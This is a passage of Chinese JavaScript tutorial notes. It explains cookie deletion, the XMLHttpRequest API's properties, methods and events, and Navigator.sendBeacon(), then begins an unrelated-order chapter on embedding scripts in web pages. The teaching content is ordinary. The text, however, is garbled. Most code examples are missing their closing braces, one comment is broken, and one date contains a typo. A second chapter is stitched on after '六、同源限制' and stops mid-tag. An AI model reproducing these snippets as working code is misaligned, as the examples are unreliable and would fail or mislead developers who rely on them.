Cookie 的唯一方法,是设置它的expires属性为一个过去的日期。document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';上面代码中,名为fontSize的 Cookie 的值为空,过期时间设为1970年1月1月零点,就等同于删除了这个 Cookie。五、XMLHttpRequest 对象1、简介浏览器与服务器之间,采用 HTTP 协议通信。用户在浏览器地址栏键入一个网址,或者通过网页表单向服务器提交内容,这时浏览器就会向服务器发出 HTTP 请求。1999年,微软公司发布 IE 浏览器5.0版,第一次引入新功能:允许 JavaScript 脚本向服务器发起 HTTP 请求。这个功能当时并没有引起注意,直到2004年 Gmail 发布和2005年 Google Map 发布,才引起广泛重视。2005年2月,AJAX 这个词第一次正式提出,它是 Asynchronous JavaScript and XML 的缩写,指的是通过 JavaScript 的异步通信,从服务器获取 XML 文档从中提取数据,再更新当前网页的对应部分,而不用刷新整个网页。后来,AJAX 这个词就成为 JavaScript 脚本发起 HTTP 通信的代名词,也就是说,只要用脚本发起通信,就可以叫做 AJAX 通信。W3C 也在2006年发布了它的国际标准。具体来说,AJAX 包括以下几个步骤。创建 XMLHttpRequest 实例发出 HTTP 请求接收服务器传回的数据更新网页数据概括起来,就是一句话,AJAX 通过原生的XMLHttpRequest对象发出 HTTP 请求,得到服务器返回的数据后,再进行处理。现在,服务器返回的都是 JSON 格式的数据,XML 格式已经过时了,但是 AJAX 这个名字已经成了一个通用名词,字面含义已经消失了。XMLHttpRequest对象是 AJAX 的主要接口,用于浏览器与服务器之间的通信。尽管名字里面有XML和Http,它实际上可以使用多种协议(比如file或ftp),发送任何格式的数据(包括字符串和二进制)。XMLHttpRequest本身是一个构造函数,可以使用new命令生成实例。它没有任何参数。var xhr = new XMLHttpRequest(); // 创建请求实例一旦新建实例,就可以使用open()方法指定建立 HTTP 连接的一些细节。xhr.open('GET', 'http://www.example.com/page.php', true); // 请求方式,地址,是否异步上面代码指定使用 GET 方法,跟指定的服务器网址建立连接。第三个参数true,表示请求是异步的。然后,指定回调函数,监听通信状态(readyState属性)的变化。xhr.onreadystatechange = handleStateChange; // 回调函数监听请求状态变化,执行监听函数 function handleStateChange() { // ... }上面代码中,一旦XMLHttpRequest实例的状态发生变化,就会调用监听函数handleStateChange最后使用send()方法,实际发出请求。xhr.send(null); // 发送请求,null表示请求时不带数据(如果是post请求则带数据)上面代码中,send()的参数为null,表示发送请求的时候,不带有数据体。如果发送的是 POST 请求,这里就需要指定数据体。一旦拿到服务器返回的数据,AJAX 不会刷新整个网页,而是只更新网页里面的相关部分,从而不打断用户正在做的事情。注意,AJAX 只能向同源网址(协议、域名、端口都相同)发出 HTTP 请求,如果发出跨域请求,就会报错(详见《同源政策》和《CORS 通信》两章)。下面是XMLHttpRequest对象简单用法的完整例子。var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function(){ if (xhr.readyState === 4){ // 通信成功时,状态值为4 if (xhr.status === 200){ // 状态码 console.log(xhr.responseText); // 响应内容 } else { console.error(xhr.statusText); xhr.onerror = function (e) { console.error(xhr.statusText); xhr.open('GET', '/endpoint', true); xhr.send(null);2、XMLHttpRequest 的实例属性2.1 XMLHttpRequest.readyState 实例对象的当前状态码XMLHttpRequest.readyState返回一个整数,表示实例对象的当前状态。该属性只读。它可能返回以下值。0,表示 XMLHttpRequest 实例已经生成,但是实例的open()方法还没有被调用。【生成实例,但没调用open()】1,表示open()方法已经调用,但是实例的send()方法还没有调用,仍然可以使用实例的setRequestHeader()方法,设定 HTTP 请求的头信息。【调用open(),但没调用send()】2,表示实例的send()方法已经调用,并且服务器返回的头信息和状态码已经收到。【调用send(),并收到头信息和状态码】3,表示正在接收服务器传来的数据体(body 部分)。这时,如果实例的responseType属性等于text或者空字符串,responseText属性就会包含已经收到的部分信息。【正在接收数据体】4,表示服务器返回的数据已经完全接收,或者本次接收已经失败。【完成接收,失败或成功】通信过程中,每当实例对象发生状态变化,它的readyState属性的值就会改变。这个值每一次变化,都会触发onreadystatechange()事件。var xhr = new XMLHttpRequest(); if (xhr.readyState === 4) { // 请求结束,处理服务器返回的数据 } else { // 显示提示“加载中……” }上面代码中,xhr.readyState等于4时,表明脚本发出的 HTTP 请求已经完成。其他情况,都表示 HTTP 请求还在进行中。2.2 XMLHttpRequest.onreadystatechange 监听状态变化XMLHttpRequest.onreadystatechange属性指向一个监听函数。readystatechange事件发生时(实例的readyState属性变化),就会执行这个属性。另外,如果使用实例的abort()方法,终止 XMLHttpRequest 请求,也会造成readyState属性变化,导致调用XMLHttpRequest.onreadystatechange属性。下面是一个例子。var xhr = new XMLHttpRequest(); xhr.open( 'GET', 'http://example.com' , true ); xhr.onreadystatechange = function () { if (xhr.readyState !== 4 || xhr.status !== 200) { return; console.log(xhr.responseText); xhr.send();2.3 XMLHttpRequest.response 响应的数据体XMLHttpRequest.response属性表示服务器返回的数据体(即 HTTP 回应的 body 部分)。它可能是任何数据类型,比如字符串、对象、二进制对象等等,具体的类型由XMLHttpRequest.responseType属性决定。该属性只读。如果本次请求没有成功或者数据不完整,该属性等于null。但是,如果responseType属性等于text或空字符串,在请求没有结束之前(readyState等于3的阶段),response属性包含服务器已经返回的部分数据。var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { handler(xhr.response); }2.4 XMLHttpRequest.responseType 响应数据类型XMLHttpRequest.responseType属性是一个字符串,表示服务器返回数据的类型。这个属性是可写的,可以在调用open()方法之后、调用send()方法之前,设置这个属性的值,告诉服务器返回指定类型的数据。如果responseType设为空字符串,就等同于默认值text。XMLHttpRequest.responseType属性可以等于以下值。""(空字符串):等同于text,表示服务器返回文本字符串数据。"arraybuffer":ArrayBuffer 对象,表示服务器返回二进制数组。"blob":Blob 对象,表示服务器返回二进制对象。"document":Document 对象,表示服务器返回一个文档对象。"json":JSON 对象。"text":字符串。上面几种类型之中,text类型适合大多数情况,而且直接处理文本也比较方便。document类型适合返回 HTML / XML 文档的情况,这意味着,对于那些打开 CORS 的网站,可以直接用 Ajax 抓取网页,然后不用解析 HTML 字符串,直接对抓取回来的数据进行 DOM 操作。blob类型适合读取二进制数据,比如图片文件。var xhr = new XMLHttpRequest(); xhr.open('GET', '/path/to/image.png', true); xhr.responseType = 'blob'; xhr.onload = function(e) { if (this.status === 200) { var blob = new Blob([xhr.response], {type: 'image/png'}); // 或者 var blob = xhr.response; xhr.send();如果将这个属性设为ArrayBuffer,就可以按照数组的方式处理二进制数据。var xhr = new XMLHttpRequest(); xhr.open('GET', '/path/to/image.png', true); xhr.responseType = 'arraybuffer'; xhr.onload = function(e) { var uInt8Array = new Uint8Array(this.response); for (var i = 0, len = uInt8Array.length; i < len; ++i) { // var byte = uInt8Array[i]; xhr.send();如果将这个属性设为json,浏览器就会自动对返回数据调用JSON.parse()方法。也就是说,从xhr.response属性(注意,不是xhr.responseText属性)得到的不是文本,而是一个 JSON 对象。2.5 XMLHttpRequest.responseText 响应文本XMLHttpRequest.responseText属性返回从服务器接收到的字符串,该属性为只读。只有 HTTP 请求完成接收以后,该属性才会包含完整的数据。var xhr = new XMLHttpRequest(); xhr.open('GET', '/server', true); xhr.responseType = 'text'; xhr.onload = function () { if (xhr.readyState === 4 && xhr.status === 200) { console.log(xhr.responseText); xhr.send(null);2.6 XMLHttpRequest.responseXML 响应HTML或XML文档XMLHttpRequest.responseXML属性返回从服务器接收到的 HTML 或 XML 文档对象,该属性为只读。如果本次请求没有成功,或者收到的数据不能被解析为 XML 或 HTML,该属性等于null。该属性生效的前提是 HTTP 回应的Content-Type头信息等于text/xml或application/xml。这要求在发送请求前,XMLHttpRequest.responseType属性要设为document。如果 HTTP 回应的Content-Type头信息不等于text/xml和application/xml,但是想从responseXML拿到数据(即把数据按照 DOM 格式解析),那么需要手动调用XMLHttpRequest.overrideMimeType()方法,强制进行 XML 解析。该属性得到的数据,是直接解析后的文档 DOM 树。var xhr = new XMLHttpRequest(); xhr.open('GET', '/server', true); xhr.responseType = 'document'; xhr.overrideMimeType('text/xml'); xhr.onload = function () { if (xhr.readyState === 4 && xhr.status === 200) { console.log(xhr.responseXML); xhr.send(null);2.7 XMLHttpRequest.responseURL 发送数据的服务器网址XMLHttpRequest.responseURL属性是字符串,表示发送数据的服务器的网址。var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://example.com/test', true); xhr.onload = function () { // 返回 http://example.com/test console.log(xhr.responseURL); xhr.send(null);注意,这个属性的值与open()方法指定的请求网址不一定相同。如果服务器端发生跳转,这个属性返回最后实际返回数据的网址。另外,如果原始 URL 包括锚点(fragment),该属性会把锚点剥离。2.8 XMLHttpRequest.status 状态码,XMLHttpRequest.statusText 状态提示字符串XMLHttpRequest.status属性返回一个整数,表示服务器回应的 HTTP 状态码。一般来说,如果通信成功的话,这个状态码是200;如果服务器没有返回状态码,那么这个属性默认是200。请求发出之前,该属性为0。该属性只读。200, OK,访问正常301, Moved Permanently,永久移动302, Moved temporarily,暂时移动304, Not Modified,未修改307, Temporary Redirect,暂时重定向401, Unauthorized,未授权403, Forbidden,禁止访问404, Not Found,未发现指定网址500, Internal Server Error,服务器发生错误基本上,只有2xx和304的状态码,表示服务器返回是正常状态。if (xhr.readyState === 4) { if ( (xhr.status >= 200 && xhr.status < 300) || (xhr.status === 304) ) { // 处理服务器的返回数据 } else { // 出错 }XMLHttpRequest.statusText属性返回一个字符串,表示服务器发送的状态提示。不同于status属性,该属性包含整个状态信息,比如“OK”和“Not Found”。在请求发送之前(即调用open()方法之前),该属性的值是空字符串;如果服务器没有返回状态提示,该属性的值默认为“OK”。该属性为只读属性。2.9 XMLHttpRequest.timeout 超时时间(毫秒),XMLHttpRequestEventTarget.ontimeout 超时函数XMLHttpRequest.timeout属性返回一个整数,表示多少毫秒后,如果请求仍然没有得到结果,就会自动终止。如果该属性等于0,就表示没有时间限制。XMLHttpRequestEventTarget.ontimeout属性用于设置一个监听函数,如果发生 timeout 事件,就会执行这个监听函数。下面是一个例子。var xhr = new XMLHttpRequest(); var url = '/server'; xhr.ontimeout = function () { console.error('The request for ' + url + ' timed out.'); xhr.onload = function() { if (xhr.readyState === 4) { if (xhr.status === 200) { // 处理服务器返回的数据 } else { console.error(xhr.statusText); xhr.open('GET', url, true); // 指定 10 秒钟超时 xhr.timeout = 10 * 1000; xhr.send(null);2.10 事件监听属性XMLHttpRequest 对象可以对以下事件指定监听函数。XMLHttpRequest.onloadstart:loadstart 事件(HTTP 请求发出)的监听函数*【请求开始】*XMLHttpRequest.onprogress:progress事件(正在发送和加载数据)的监听函数*【请求中,进度】*XMLHttpRequest.onabort:abort 事件(请求中止,比如用户调用了abort()方法)的监听函数*【请求中止】*XMLHttpRequest.onerror:error 事件(请求失败)的监听函数*【请求失败】*XMLHttpRequest.onload:load 事件(请求成功完成)的监听函数*【请求成功】*XMLHttpRequest.ontimeout:timeout 事件(用户指定的时限超过了,请求还未完成)的监听函数*【请求超时】*XMLHttpRequest.onloadend:loadend 事件(请求完成,不管成功或失败)的监听函数*【请求完成,不管成功和失败】*下面是一个例子。xhr.onload = function() { // 请求成功 var responseText = xhr.responseText; console.log(responseText); // process the response. xhr.onabort = function () { // 请求中止 console.log('The request was aborted'); xhr.onprogress = function (event) { // 请求中 console.log(event.loaded); // 已传输数据量 console.log(event.total); // 总数据量 console.log(event.lengthComputable) / 是否可计算加载进度 xhr.onerror = function() { // 请求失败 console.log('There was an error!'); };progress事件的监听函数有一个事件对象参数,该对象有三个属性:loaded属性返回已经传输的数据量,total属性返回总的数据量,lengthComputable属性返回一个布尔值,表示加载的进度是否可以计算。所有这些监听函数里面,只有progress事件的监听函数有参数,其他函数都没有参数。注意,如果发生网络错误(比如服务器无法连通),onerror事件无法获取报错信息。也就是说,可能没有错误对象,所以这样只能显示报错的提示。2.11 XMLHttpRequest.withCredentials 跨域请求时用户信息是否会包含在请求中XMLHttpRequest.withCredentials属性是一个布尔值,表示跨域请求时,用户信息(比如 Cookie 和认证的 HTTP 头信息)是否会包含在请求之中,默认为false,即向example.com发出跨域请求时,不会发送example.com设置在本机上的 Cookie(如果有的话)。如果需要跨域 AJAX 请求发送 Cookie,需要withCredentials属性设为true。注意,同源的请求不需要设置这个属性。var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://example.com/', true); xhr.withCredentials = true; xhr.send(null);为了让这个属性生效,服务器必须显式返回Access-Control-Allow-Credentials这个头信息。Access-Control-Allow-Credentials: truewithCredentials属性打开的话,跨域请求不仅会发送 Cookie,还会设置远程主机指定的 Cookie。反之也成立,如果withCredentials属性没有打开,那么跨域的 AJAX 请求即使明确要求浏览器设置 Cookie,浏览器也会忽略。注意,脚本总是遵守同源政策,无法从document.cookie或者 HTTP 回应的头信息之中,读取跨域的 Cookie,withCredentials属性不影响这一点。2.12 XMLHttpRequest.upload 上传文件对象XMLHttpRequest 不仅可以发送请求,还可以发送文件,这就是 AJAX 文件上传。发送文件以后,通过XMLHttpRequest.upload属性可以得到一个对象,通过观察这个对象,可以得知上传的进展。主要方法就是监听这个对象的各种事件:loadstart、loadend、load、abort、error、progress、timeout。(使用时加on)假定网页上有一个<progress>元素。<progress min="0" max="100" value="0">0% complete</progress>文件上传时,对upload属性指定progress事件的监听函数,即可获得上传的进度。function upload(blobOrFile) { var xhr = new XMLHttpRequest(); xhr.open('POST', '/server', true); xhr.onload = function (e) {}; var progressBar = document.querySelector('progress'); xhr.upload.onprogress = function (e) { if (e.lengthComputable) { progressBar.value = (e.loaded / e.total) * 100; // 兼容不支持 <progress> 元素的老式浏览器 progressBar.textContent = progressBar.value; xhr.send(blobOrFile); upload(new Blob(['hello world'], {type: 'text/plain'}));3、XMLHttpRequest 的实例方法3.1 XMLHttpRequest.open() 指定请求参数XMLHttpRequest.open()方法用于指定 HTTP 请求的参数,或者说初始化 XMLHttpRequest 实例对象。它一共可以接受五个参数。void open( string method, // 字符串,请求方法GET、POST、PUT、DELETE、HEAD等 string url,// 字符串,请求链接URL optional boolean async, // 可选,布尔值,是否异步,默认true optional string user,// 可选,字符串,认证的用户名 optional string password// 可选,字符串,认证的密码 );method:表示 HTTP 动词方法,比如GET、POST、PUT、DELETE、HEAD等。url: 表示请求发送目标 URL。async: 布尔值,表示请求是否为异步,默认为true。如果设为false,则send()方法只有等到收到服务器返回了结果,才会进行下一步操作。该参数可选。由于同步 AJAX 请求会造成浏览器失去响应,许多浏览器已经禁止在主线程使用,只允许 Worker 里面使用。所以,这个参数轻易不应该设为false。user:表示用于认证的用户名,默认为空字符串。该参数可选。password:表示用于认证的密码,默认为空字符串。该参数可选。注意,如果对使用过open()方法的 AJAX 请求,再次使用这个方法,等同于调用abort(),即终止请求。下面发送 POST 请求的例子。var xhr = new XMLHttpRequest(); xhr.open('POST', encodeURI('someURL'));3.2 XMLHttpRequest.send() 发送请求XMLHttpRequest.send()方法用于实际发出 HTTP 请求。它的参数是可选的,如果不带参数,就表示 HTTP 请求只有一个 URL,没有数据体,典型例子就是 GET 请求;如果带有参数,就表示除了头信息,还带有包含具体数据的信息体,典型例子就是 POST 请求。下面是 GET 请求的例子。var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://www.example.com/?id=' + encodeURIComponent(id), xhr.send(null);上面代码中,GET请求的参数,作为查询字符串附加在 URL 后面。下面是发送 POST 请求的例子。var xhr = new XMLHttpRequest(); var data = 'email=' + encodeURIComponent(email) + '&password=' + encodeURIComponent(password); xhr.open('POST', 'http://www.example.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(data);注意,所有 XMLHttpRequest 的监听事件,都必须在send()方法调用之前设定。send方法的参数就是发送的数据。多种格式的数据,都可以作为它的参数。void send(); void send(ArrayBufferView data); // 二进制数组 void send(Blob data); // 二进制大对象 void send(Document data); // 文档对象 void send(String data); // 字符串数据 void send(FormData data); // 表单数据?如果send()发送 DOM 对象,在发送之前,数据会先被串行化。如果发送二进制数据,最好是发送ArrayBufferView或Blob对象,这使得通过 Ajax 上传文件成为可能。下面是发送表单数据的例子。FormData对象可以用于构造表单数据。var formData = new FormData(); formData.append('username', '张三'); formData.append('email', 'zhangsan@example.com'); formData.append('birthDate', 1940); var xhr = new XMLHttpRequest(); xhr.open('POST', '/register'); xhr.send(formData);上面代码中,FormData对象构造了表单数据,然后使用send()方法发送。它的效果与发送下面的表单数据是一样的。<form id='registration' name='registration' action='/register'> <input type='text' name='username' value='张三'> <input type='email' name='email' value='zhangsan@example.com'> <input type='number' name='birthDate' value='1940'> <input type='submit' onclick='return sendForm(this.form);'> </form>下面的例子是使用FormData对象加工表单数据,然后再发送。function sendForm(form) { var formData = new FormData(form); formData.append('csrf', 'e69a18d7db1286040586e6da1950128c'); var xhr = new XMLHttpRequest(); xhr.open('POST', form.action, true); xhr.onload = function() { // ... xhr.send(formData); return false; var form = document.querySelector('#registration'); sendForm(form);3.3 XMLHttpRequest.setRequestHeader() 设置请求头XMLHttpRequest.setRequestHeader()方法用于设置浏览器发送的 HTTP 请求的头信息。该方法必须在open()之后、send()之前调用。如果该方法多次调用,设定同一个字段,则每一次调用的值会被合并成一个单一的值发送。该方法接受两个参数。第一个参数是字符串,表示头信息的字段名,第二个参数是字段值。xhr.setRequestHeader('Content-Type', 'application/json'); xhr.setRequestHeader('Content-Length', JSON.stringify(data).length); xhr.send(JSON.stringify(data));上面代码首先设置头信息Content-Type,表示发送 JSON 格式的数据;然后设置Content-Length,表示数据长度;最后发送 JSON 数据。3.4 XMLHttpRequest.overrideMimeType() 覆盖返回的MIME类型XMLHttpRequest.overrideMimeType()方法用来指定 MIME 类型,覆盖服务器返回的真正的 MIME 类型,从而让浏览器进行不一样的处理。举例来说,服务器返回的数据类型是text/xml,由于种种原因浏览器解析不成功报错,这时就拿不到数据了。为了拿到原始数据,我们可以把 MIME 类型改成text/plain(普通文本),这样浏览器就不会去自动解析,从而我们就可以拿到原始文本了。xhr.overrideMimeType('text/plain')注意,该方法必须在send()方法之前调用。修改服务器返回的数据类型,不是正常情况下应该采取的方法。如果希望服务器返回指定的数据类型,可以用responseType属性告诉服务器,就像下面的例子。只有在服务器无法返回某种数据类型时,才使用overrideMimeType()方法。var xhr = new XMLHttpRequest(); xhr.onload = function(e) { var arraybuffer = xhr.response; // ... xhr.open('GET', url); xhr.responseType = 'arraybuffer'; xhr.send();3.5 XMLHttpRequest.getResponseHeader() 获取响应头信息指定字段XMLHttpRequest.getResponseHeader()方法**返回 HTTP 头信息指定字段的值,**如果还没有收到服务器回应或者指定字段不存在,返回null。该方法的参数不区分大小写。function getHeaderTime() { console.log(this.getResponseHeader("Last-Modified")); var xhr = new XMLHttpRequest(); xhr.open('HEAD', 'yourpage.html'); xhr.onload = getHeaderTime; xhr.send();如果有多个字段同名,它们的值会被连接为一个字符串,每个字段之间使用“逗号+空格”分隔。3.6 XMLHttpRequest.getAllResponseHeaders() 获取全部头信息XMLHttpRequest.getAllResponseHeaders()方法返回一个字符串,表示服务器发来的所有 HTTP 头信息。格式为字符串,每个头信息之间使用CRLF分隔(回车+换行),如果没有收到服务器回应,该属性为null。如果发生网络错误,该属性为空字符串。var xhr = new XMLHttpRequest(); xhr.open('GET', 'foo.txt', true); xhr.send(); xhr.onreadystatechange = function () { if (this.readyState === 4) { var headers = xhr.getAllResponseHeaders(); }上面代码用于获取服务器返回的所有头信息。它可能是下面这样的字符串。date: Fri, 08 Dec 2017 21:04:30 GMT\r\n content-encoding: gzip\r\n x-content-type-options: nosniff\r\n server: meinheld/0.6.1\r\n x-frame-options: DENY\r\n content-type: text/html; charset=utf-8\r\n connection: keep-alive\r\n strict-transport-security: max-age=63072000\r\n vary: Cookie, Accept-Encoding\r\n content-length: 6502\r\n x-xss-protection: 1; mode=block\r\n然后,对这个字符串进行处理。var arr = headers.trim().split(/[\r\n]+/); var headerMap = {}; arr.forEach(function (line) { var parts = line.split(': '); var header = parts.shift(); var value = parts.join(': '); headerMap[header] = value; headerMap['content-length'] // "6502"3.7 XMLHttpRequest.abort() 终止请求XMLHttpRequest.abort()方法用来终止已经发出的 HTTP 请求。调用这个方法以后,readyState属性变为4,status属性变为0。var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://www.example.com/page.php', true); setTimeout(function () { if (xhr) { xhr.abort(); xhr = null; }, 5000);上面代码在发出5秒之后,终止一个 AJAX 请求。4、XMLHttpRequest 实例的事件4.1 readyStateChange 事件 (状态改变事件)readyState属性的值发生改变,就会触发 readyStateChange 事件。我们可以通过onReadyStateChange属性,指定这个事件的监听函数,对不同状态进行不同处理。尤其是当状态变为4的时候,表示通信成功,这时回调函数就可以处理服务器传送回来的数据。4.2 progress 事件 (请求中,进度事件)上传文件时,XMLHttpRequest 实例对象本身和实例的upload属性,都有一个progress事件,会不断返回上传的进度。var xhr = new XMLHttpRequest(); function updateProgress (oEvent) { if (oEvent.lengthComputable) { var percentComplete = oEvent.loaded / oEvent.total; } else { console.log('无法计算进展'); xhr.addEventListener('progress', updateProgress); xhr.open();4.3 load 事件、error 事件、abort 事件 (请求完成,请求错误,请求终止)load 事件表示服务器传来的数据接收完毕,error 事件表示请求出错,abort 事件表示请求被中断(比如用户取消请求)。var xhr = new XMLHttpRequest(); xhr.addEventListener('load', transferComplete); xhr.addEventListener('error', transferFailed); xhr.addEventListener('abort', transferCanceled); xhr.open(); function transferComplete() { console.log('数据接收完毕'); function transferFailed() { console.log('数据接收出错'); function transferCanceled() { console.log('用户取消接收'); }4.4 loadend 事件 (请求结束,无论是否成功)abort、load和error这三个事件,会伴随一个loadend事件,表示请求结束,但不知道其是否成功。xhr.addEventListener('loadend', loadEnd); function loadEnd(e) { console.log('请求结束,状态未知'); }4.5 timeout 事件(请求超时)服务器超过指定时间还没有返回结果,就会触发 timeout 事件,具体的例子参见timeout属性一节。5、Navigator.sendBeacon() 卸载网页时发送数据用户卸载网页的时候,有时需要向服务器发一些数据。很自然的做法是在unload事件或beforeunload事件的监听函数里面,使用XMLHttpRequest对象发送数据。但是,这样做不是很可靠,因为XMLHttpRequest对象是异步发送,很可能在它即将发送的时候,页面已经卸载了,从而导致发送取消或者发送失败。解决方法就是unload事件里面,加一些很耗时的同步操作。这样就能留出足够的时间,保证异步 AJAX 能够发送成功。function log() { let xhr = new XMLHttpRequest(); xhr.open('post', '/log', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('foo=bar'); window.addEventListener('unload', function(event) { log(); // a time-consuming operation for (let i = 1; i < 10000; i++) { for (let m = 1; m < 10000; m++) { continue; } });上面代码中,强制执行了一次双重循环,拖长了unload事件的执行时间,导致异步 AJAX 能够发送成功。类似的还可以使用setTimeout。下面是追踪用户点击的例子。// HTML 代码如下 // <a id="target" href="https://baidu.com">click</a> const clickTime = 350; const theLink = document.getElementById('target'); function log() { let xhr = new XMLHttpRequest(); xhr.open('post', '/log', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('foo=bar'); theLink.addEventListener('click', function (event) { event.preventDefault(); log(); setTimeout(function () { window.location.href = theLink.getAttribute('href'); }, clickTime); });上面代码使用setTimeout,拖延了350毫秒,才让页面跳转,因此使得异步 AJAX 有时间发出。这些做法的共同问题是,卸载的时间被硬生生拖长了,后面页面的加载被推迟了,用户体验不好。为了解决这个问题,浏览器引入了Navigator.sendBeacon()方法。这个方法还是异步发出请求,但是请求与当前页面线程脱钩,作为浏览器进程的任务,因此可以保证会把数据发出去,不拖延卸载流程。window.addEventListener('unload', logData, false); function logData() { navigator.sendBeacon('/log', analyticsData); // 参数一:url,参数二:所要发送的数据 }Navigator.sendBeacon方法接受两个参数,第一个参数是目标服务器的 URL,第二个参数是所要发送的数据(可选),可以是任意类型(字符串、表单对象、二进制对象等等)。navigator.sendBeacon(url, data) // 参数一:url,参数二:所要发送的数据这个方法的返回值是一个布尔值,成功发送数据为true,否则为false。该方法发送数据的 HTTP 方法是 POST,可以跨域,类似于表单提交数据。它不能指定回调函数。下面是一个例子。// HTML 代码如下 // <body onload="analytics('start')" onunload="analytics('end')"> function analytics(state) { if (!navigator.sendBeacon) return; var URL = 'http://example.com/analytics'; var data = 'state=' + state + '&location=' + window.location; navigator.sendBeacon(URL, data); }六、同源限制
浏览器模型一、浏览器环境概述JavaScript 是浏览器的内置脚本语言。也就是说,浏览器内置了 JavaScript 引擎,并且提供各种接口,让 JavaScript 脚本可以控制浏览器的各种功能。一旦网页内嵌了 JavaScript 脚本,浏览器加载网页,就会去执行脚本,从而达到操作浏览器的目的,实现网页的各种动态效果。本章开始介绍浏览器提供的各种 JavaScript 接口。首先,介绍 JavaScript 代码嵌入网页的方法。1、代码嵌入网页的方法网页中嵌入 JavaScript 代码,主要有三种方法。<script>元素直接嵌入代码。<script>标签加载外部脚本事件属性URL 协议1.1 script 元素嵌入代码<script>元素内部可以直接写 JavaScript 代码。<script> var x = 1 + 5; console.log(x); </script><script>标签有一个type属性,用来指定脚本类型。对 JavaScript 脚本来说,type属性可以设为两种值。text/javascript:这是默认值,也是历史上一贯设定的值。如果你省略type属性,默认就是这个值。对于老式浏览器,设为这个值比较好。application/javascript:对于较新的浏览器,建议设为这个值。<script type="application/javascript"> console.log('Hello World'); </script>由于<script>标签默认就是 JavaScript 代码。所以,嵌入 JavaScript 脚本时,type属性可以省略。如果type属性的值,浏览器不认识,那么它不会执行其中的代码。利用这一点,可以在<script>标签之中嵌入任意的文本内容,只要加上一个浏览器不认识的type属性即可。<script id="mydata" type="x-custom-data"> console.log('Hello World'); </script>上面的代码,浏览器不会执行,也不会显示它的内容,因为不认识它的type属性。但是,这个<script>节点依然存在于 DOM 之中,可以使用<script>节点的text属性读出它的内容。document.getElementById('mydata').text // console.log('Hello World');1.2 script 元素加载外部脚本<script>标签也可以指定加载外部的脚本文件。<script src="https://www.example.com/script.js"></script>如果脚本文件使用了非英语字符,还应该注明字符的编码。<script charset="utf-8" src="https://www.example.com/script.js"></script>所加载的脚本必须是纯的 JavaScript 代码,不能有HTML代码和<script>标签。加载外部脚本和直接添加代码块,这两种方法不能混用。下面代码的console.log语句直接被忽略。<script charset="utf-8" src="example.js"> console.log('Hello World!'); // 被忽略 </script>为了防止攻击者篡改外部脚本,script标签允许设置一个integrity属性,写入该外部脚本的 Hash 签名,用来验证脚本的一致性。<script src="/assets/application.js" integrity="sha256-TvVUHzSfftWg1rcfL6TIJ0XKEGrgLyEq6lEpcmrG9qs="> </script>上面代码中,script标签有一个integrity属性,指定了外部脚本/assets/application.js的 SHA256 签名。一旦有人改了这个脚本,导致 SHA256 签名不匹配,浏览器就会拒绝加载。1.3 事件属性网页元素的事件属性(比如onclick和onmouseover),可以写入 JavaScript 代码。当指定事件发生时,就会调用这些代码。<button id="myBtn" onclick="console.log(this.id)">点击</button>上面的事件属性代码只有一个语句。如果有多个语句,使用分号分隔即可。1.4 URL 协议URL 支持javascript:协议,即在 URL 的位置写入代码,使用这个 URL 的时候就会执行 JavaScript 代码。<a href="javascript:console.log('Hello')">点击</a>浏览器的地址栏也可以执行javascript:协议。将javascript:console.log('Hello')放入地址栏,按回车键也会执行这段代码。如果 JavaScript 代码返回一个字符串,浏览器就会新建一个文档(document),展示这个字符串的内容,原有文档的内容都会消失。<a href="javascript: new Date().toLocaleTimeString();">点击</a>上面代码中,用户点击链接以后,会打开一个新文档,里面有当前时间。如果返回的不是字符串,那么浏览器不会新建文档,也不会跳转。<a href="javascript: console.log(new Date().toLocaleTimeString())">点击</a>上面代码中,用户点击链接后,网页不会跳转,只会在控制台显示当前时间。javascript:协议的常见用途是书签脚本 Bookmarklet。由于浏览器的书签保存的是一个网址,所以javascript:网址也可以保存在里面,用户选择这个书签的时候,就会在当前页面执行这个脚本。为了防止书签替换掉当前文档,可以在脚本前加上void,或者在脚本最后加上void 0。<a href="javascript: void new Date().toLocaleTimeString();">点击</a> <a href="javascript: new Date().toLocaleTimeString();void 0;">点击</a>上面这两种写法,点击链接后,执行代码都不会网页跳转。2、script 元素2.1 工作原理浏览器加载 JavaScript 脚本,主要通过<script>元素完成。正常的网页加载流程是这样的。浏览器一边下载 HTML 网页,一边开始解析。也就是说,不等到下载完,就开始解析。解析过程中,浏览器发现<script>元素,就暂停解析,把网页渲染的控制权转交给 JavaScript 引擎。如果<script>元素引用了外部脚本,就下载该脚本再执行,否则就直接执行代码。JavaScript 引擎执行完毕,控制权交还渲染引擎,恢复往下解析 HTML 网页。加载外部脚本时,浏览器会暂停页面渲染,等待脚本下载并执行完成后,再继续渲染。原因是 JavaScript 代码可以修改 DOM,所以必须把控制权让给它,否则会导致复杂的线程竞赛的问题。如果外部脚本加载时间很长(一直无法完成下载),那么浏览器就会一直等待脚本下载完成,造成网页长时间失去响应,浏览器就会呈现“假死”状态,这被称为“阻塞效应”。为了避免这种情况,较好的做法是将<script>标签都放在页面底部,而不是头部。这样即使遇到脚本失去响应,网页主体的渲染也已经完成了,用户至少可以看到内容,而不是面对一张空白的页面。如果某些脚本代码非常重要,一定要放在页面头部的话,最好直接将代码写入页面,而不是连接外部脚本文件,这样能缩短加载时间。脚本文件都放在网页尾部加载,还有一个好处。因为在 DOM 结构生成之前就调用 DOM 节点,JavaScript 会报错,如果脚本都在网页尾部加载,就不存在这个问题,因为这时 DOM 肯定已经生成了。<head> <script> console.log(document.body.innerHTML); </script> </head> <body> </body>上面代码执行时会报错,因为此时document.body元素还未生成。一种解决方法是设定DOMContentLoaded事件的回调函数。<head> <script> document.addEventListener( 'DOMContentLoaded', function (event) { console.log(document.body.innerHTML); </script> </head>上面代码中,指定DOMContentLoaded事件发生后,才开始执行相关代码。DOMContentLoaded事件只有在 DOM 结构生成之后才会触发。另一种解决方法是,使用<script>标签的onload属性。当<script>标签指定的外部脚本文件下载和解析完成,会触发一个load事件,可以把所需执行的代码,放在这个事件的回调函数里面。<script src="jquery.min.js" 